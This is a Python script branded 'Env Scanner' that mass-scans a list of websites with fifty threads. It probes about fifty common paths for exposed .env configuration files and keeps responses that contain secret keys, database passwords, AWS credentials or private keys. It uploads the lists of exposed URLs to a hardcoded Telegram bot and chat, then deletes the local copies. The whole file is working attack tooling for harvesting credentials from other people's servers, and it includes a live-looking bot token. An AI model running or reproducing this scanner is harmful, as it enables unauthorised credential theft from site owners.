# -*- coding: utf-8 -*- import requests import subprocess import os import threading from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor from colorama import Fore, Style, init import ctypes from urllib.parse import urlparse init(autoreset=True) def set_cmd_title(title): try: ctypes.windll.kernel32.SetConsoleTitleW(title) except: pass def clear_screen(): try: subprocess.call("cls", shell=True) except: try: subprocess.call("clear", shell=True) except: print("\n" * 50) clear_screen() set_cmd_title("Env Scanner - By @flashkiss_1337") X = Fore.LIGHTMAGENTA_EX N = Style.DIM XX = Style.BRIGHT O = Style.RESET_ALL requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) TELEGRAM_BOT_TOKEN = "8340535997:AAEjsMpNh57mt-mu-pvDV_I8M_R0d6Dfa18" TELEGRAM_CHAT_ID = "7504667715" MAX_FILE_SIZE = 10 * 1024 * 1024 current_file_index = 1 current_filename = "vulnerable.txt" file_lock = threading.Lock() paths = [ "/.env", "/conf/.env", "/wp-content/.env", "/wp-admin/.env", "/library/.env", "/new/.env", "/vendor/.env", "/old/.env", "/local/.env", "/api/.env", "/blog/.env", "/crm/.env", "/admin/.env", "/laravel/.env", "/app/.env", "/app/config/.env", "/apps/.env", "/audio/.env", "/cgi-bin/.env", "/backend/.env", "/src/.env", "/base/.env", "/core/.env", "/vendor/laravel/.env", "/storage/.env", "/protected/.env", "/newsite/.env", "/www/.env", "/sites/all/libraries/mailchimp/.env", "/database/.env", "/public/.env", "/__tests__/test-become/.env", "/redmine/.env", "/gists/cache", "/uploads/.env", "/lib/.env", "/sendgrid.env", "/aws.env", "/.env.example", "/main/.env", "/docs/.env", "/client/.env", "/.env.dev", "/blogs/.env", "/shared/.env", "/download/.env", "/.env.php", "/site/.env", "/sites/.env", "/web/.env" ] class TelegramFileManager: def __init__(self, bot_token, chat_id): self.bot_token = bot_token self.chat_id = chat_id self.base_url = f"https://api.telegram.org/bot{bot_token}/" def send_document(self, file_path, caption=""): try: with open(file_path, 'rb') as file: files = {'document': file} data = {'chat_id': self.chat_id, 'caption': caption} response = requests.post(f"{self.base_url}sendDocument", files=files, data=data, timeout=30) return response.status_code == 200 except Exception: return False def is_configured(self): return self.bot_token != "YOUR_BOT_TOKEN_HERE" and self.chat_id != "YOUR_CHAT_ID_HERE" telegram_manager = TelegramFileManager(TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID) def is_vulnerable(response_text): env_indicators = ['APP_NAME', 'APP_KEY', 'DB_', 'API_', 'SECRET_', 'PASSWORD', 'DATABASE_URL', 'MAIL_', 'REDIS_', 'AWS_', 'CLOUD_', 'ENCRYPTION_KEY', 'PRIVATE_KEY'] return any(indicator in response_text for indicator in env_indicators) def get_next_filename(): global current_file_index if current_file_index == 1: return "vulnerable.txt" else: return f"vulnerable{current_file_index}.txt" def rotate_file(): global current_file_index, current_filename with file_lock: if os.path.exists(current_filename) and telegram_manager.is_configured(): file_size = os.path.getsize(current_filename) if file_size > 0: print(Fore.CYAN + f"[*] Sending {current_filename} to Telegram..." + O) if telegram_manager.send_document(current_filename, f"Vulnerable Domains Batch {current_file_index}"): print(Fore.GREEN + f"[+] File {current_filename} sent to Telegram successfully!" + O) if os.path.exists(current_filename): try: os.remove(current_filename) print(Fore.YELLOW + f"[*] Deleted {current_filename}" + O) except Exception: pass current_file_index += 1 current_filename = get_next_filename() open(current_filename, 'a', encoding='utf-8').close() print(Fore.GREEN + f"[+] Created new file: {current_filename}" + O) def save_vulnerable_domain(domain, full_url): global current_filename with file_lock: if os.path.exists(current_filename): file_size = os.path.getsize(current_filename) if file_size >= MAX_FILE_SIZE: print(Fore.YELLOW + f"[!] File {current_filename} reached {MAX_FILE_SIZE/1024/1024}MB, rotating..." + O) rotate_file() try: with open(current_filename, "a", encoding='utf-8') as file: file.write(f"{full_url}\n") except Exception: pass def check_url(session, full_url): try: response = session.get(full_url, verify=False, timeout=10) if response.status_code == 200 and is_vulnerable(response.text): domain = urlparse(full_url).netloc print(Fore.LIGHTGREEN_EX + f"[+] Vulnerable URL: {Fore.WHITE}{domain} - {full_url}" + O) save_vulnerable_domain(domain, full_url) return True return False except Exception: return False def process_url(base_url): base_url = base_url.strip() if not base_url: return if not base_url.startswith(("http://", "https://")): base_url = "http://" + base_url with requests.Session() as session: session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}) vulnerable_found = False for path in paths: if vulnerable_found: break full_url = urljoin(base_url, path) if check_url(session, full_url): vulnerable_found = True break if not vulnerable_found: domain = urlparse(base_url).netloc print(Fore.LIGHTMAGENTA_EX + f"[-] Not vulnerable: {Fore.WHITE}{domain}" + O) def check_telegram_config(): if not telegram_manager.is_configured(): print(Fore.YELLOW + "[!] Telegram bot not configured." + O) print(Fore.YELLOW + "[!] Set TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID in the script." + O) def send_remaining_files(): if not telegram_manager.is_configured(): return print(Fore.CYAN + "[*] Sending remaining files to Telegram..." + O) index = 1 while True: if index == 1: filename = "vulnerable.txt" else: filename = f"vulnerable{index}.txt" if os.path.exists(filename): file_size = os.path.getsize(filename) if file_size > 0: print(Fore.CYAN + f"[*] Sending {filename} to Telegram..." + O) if telegram_manager.send_document(filename, f"Vulnerable Domains Batch {index}"): print(Fore.GREEN + f"[+] {filename} sent successfully!" + O) try: os.remove(filename) except: pass else: try: os.remove(filename) except: pass else: break index += 1 def main(): try: global current_filename open(current_filename, 'a', encoding='utf-8').close() check_telegram_config() print(Fore.CYAN + f"[*] Max file size: {MAX_FILE_SIZE/1024/1024}MB" + O) xtt_file_path = input(f"{X}{N}{XX} List: " + O).strip() if not xtt_file_path: print(Fore.RED + "[-] No file path provided!" + O) return with open(xtt_file_path, "r", encoding='utf-8') as xtt_file: urls = [line.strip() for line in xtt_file if line.strip()] if not urls: print(Fore.RED + "[-] No URLs found in the file!" + O) return print(Fore.CYAN + f"[*] Processing {len(urls)} URLs with {len(paths)} paths each..." + O) print(Fore.YELLOW + "[*] Starting scan..." + O) print(Fore.CYAN + f"[*] Current output file: {current_filename}" + O) with ThreadPoolExecutor(max_workers=50) as executor: list(executor.map(process_url, urls)) print(Fore.GREEN + "[+] Scan completed!" + O) send_remaining_files() print(Fore.GREEN + "[+] All done!" + O) except FileNotFoundError: print(Fore.RED + f"[-] File not found: {xtt_file_path}" + O) except KeyboardInterrupt: print(Fore.YELLOW + "\n[!] Scan interrupted by user!" + O) send_remaining_files() except Exception as e: print(Fore.RED + f"[-] Error: {str(e)}" + O) send_remaining_files() if __name__ == "__main__": main()